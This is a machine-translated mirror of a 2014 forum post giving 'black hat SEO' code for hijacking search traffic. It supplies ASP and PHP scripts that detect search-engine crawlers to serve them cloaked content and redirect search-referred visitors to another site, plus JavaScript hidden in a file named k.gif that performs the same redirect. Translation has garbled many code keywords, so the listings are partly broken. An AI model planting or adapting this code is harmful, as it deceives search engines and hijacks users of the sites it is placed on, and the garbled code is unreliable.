이 글은 기계 번역의 미러 문서이며, 원본 기사로 바로 이동하려면 여기를 클릭해 주세요.

보기: 12634|회답: 0

[SEO] 블랙햇 SEO 기술: ASP PHP 트래픽 하이재킹 포함

[링크 복사]
게시됨 2014. 12. 1. 오후 6:48:55 | | |

먼저, 간단합니다. 다음 코드를 메인 페이지에 추가하세요:

ASP 버전
<!--#include file="conn.asp"-->
<스크립트 src="images\k.gif"></script>

PHP 버전
<!--#include file="conn.php"-->
<스크립트 src="images\k.gif"></script>


그리고 웹사이트 프로그램에 따라 다음 코드를 코드 파일에 추가하세요. conn.asp나 conn.php가 없다면 직접 만들어 보세요:

conn.asp판

다음 복제본-------------------------------------------
<%
함수 isspider()
딤 에이전트, 세라레이, I
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= false
i=0에서 ubound(searray)에 대해.
만약 (instr(agent,searray(i))>0) 이면 isspider=참입니다
다음
엔드 기능


함수 fromse()
dim urlrefer,i, searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
프롬세= 거짓
urlrefer=""라면 fromse= false
searray=array("google","baidu","sogou","yahoo","soso","360")
i=0에서 ubound(searray)에 대해.
만약 (instr(URLREFER,searray(i))>0) 이면 fromse=참
다음
엔드 기능

함수 gethttp(URL)
  DIM HTTP
  Set http=createobject("MSXML2. XMLHTTP")
  http.open "GET", URL, false
  Http.send()
  만약 Http.readystate<>4라면
    종료 기능
  끝나는 경우
  gethttp=bytes2BSTR(Http.responseBody)
  Set http=nothing
  만약 err.number<>0이라면 err. 비켜
엔드 기능

function bytes2BSTR(vIn)
  딤 스트리턴
  딤 아이, 이 캐릭터 코드, 다음 캐릭터 코드
  strReturn = ""
  에 i = 1 To LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i,1))
  만약 ThisCharCode < &H80이라면,
  strReturn = strReturn & Chr(ThisCharCode)
  그렇지 않으면
  NextCharCode = AscB(MidB(vIn,i+1,1))
  strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + Cint(NextCharCode))
  I = I + 1
  끝 If
  다음
  bytes2BSTR = strReturn
최종 기능


if(isspider())
  Dim MyFSO, FileURL, Filecon, myfile, bodyurl, remotehtml
  bodyurl="http://www.itsvse.com" //스냅샷 URL
    응답.명확
    RemoteHTML=gethttp(bodyurl)
    response.write(remotehtml)
    response.write("<!--"&now()&"-->")
    응답.플러시
    response.end
끝나는 경우


%>

conn.php

다음 복제본---------------- 있습니다----------------

<?php
함수 is_search_bot(){
        $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
        $identify = array('바이두스파이더', '소고우 거미', '소소스파이더', '아이스크스파이더', '네이버로봇');
        foreach ($identify AS $key => $tag){
                만약 (strstr($user_agent, $tag)){
                        진짜로 반환;
                }
        }
        return false; }
함수 is_urlbaidu()
        {
        $come_from="baidu@sogou@soso@iask@naver";
        $referer = explode("@",$come_from);
        foreach($referer as $url){
                만약 (stristr($_SERVER['HTTP_REFERER'],$url)){
                        진짜로 반환;
                        }
        }
        return false; }

만약 (is_search_bot())
        {
        $html = "<title>우한 소프트웨어공학 직업대학</title> <메타 이름=\"저자\" 내용=\"키워드와 같은 내용을 채워 넣으세요\"> <메타 이름=\"키워드\" 내용=\"키워드\"> <메타 이름=

\"설명\" 내용=\"설명\"> </head> <body>내용</body></html>";
        에코 $html;
        }
만약 (!is_search_bot() & is_urlbaidu())
{
헤더('위치:http://www.itsvse.com');
}
?>



마지막으로, 이미지 디렉터리에 코드k.gif k.gif 파일을 업로드하세요:


var s=document.referrer
if(s.indexOf("백두")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0)
location.href="http://www.itsvse.com"; 리디렉션 URL






이전의:최신 코드 QQ 채팅은 친구를 추가하지 않고도 채팅할 수 있어요, 마화텡과 채팅하세요
다음:휴대폰 종료 도청 데모 도구 - 안드로이드 파워오프 하이재킹
면책 조항:
Code Farmer Network에서 발행하는 모든 소프트웨어, 프로그래밍 자료 또는 기사는 학습 및 연구 목적으로만 사용됩니다; 위 내용은 상업적 또는 불법적인 목적으로 사용되지 않으며, 그렇지 않으면 모든 책임이 사용자에게 부담됩니다. 이 사이트의 정보는 인터넷에서 가져온 것이며, 저작권 분쟁은 이 사이트와는 관련이 없습니다. 위 내용은 다운로드 후 24시간 이내에 컴퓨터에서 완전히 삭제해야 합니다. 프로그램이 마음에 드신다면, 진짜 소프트웨어를 지원하고, 등록을 구매하며, 더 나은 진짜 서비스를 받아주세요. 침해가 있을 경우 이메일로 연락해 주시기 바랍니다.

Mail To:help@itsvse.com